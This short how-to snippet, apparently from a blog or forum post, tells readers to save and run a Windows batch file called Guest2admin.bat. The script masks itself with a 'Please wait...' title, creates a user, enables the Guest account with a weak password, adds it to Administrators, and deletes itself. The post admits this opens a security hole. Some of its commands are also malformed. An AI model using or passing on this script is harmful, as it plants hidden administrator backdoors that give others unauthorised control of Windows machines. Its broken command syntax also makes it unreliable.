All you need to do is copy the code below, copy/paste it into Notepad and save it as Guest2admin.bat on your desktop.

echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0

Double-click the file to execute or type the above-given code in Command Prompt.

Note: this also creates a net account which is also accessable through nets open port (basically it’s a security leak).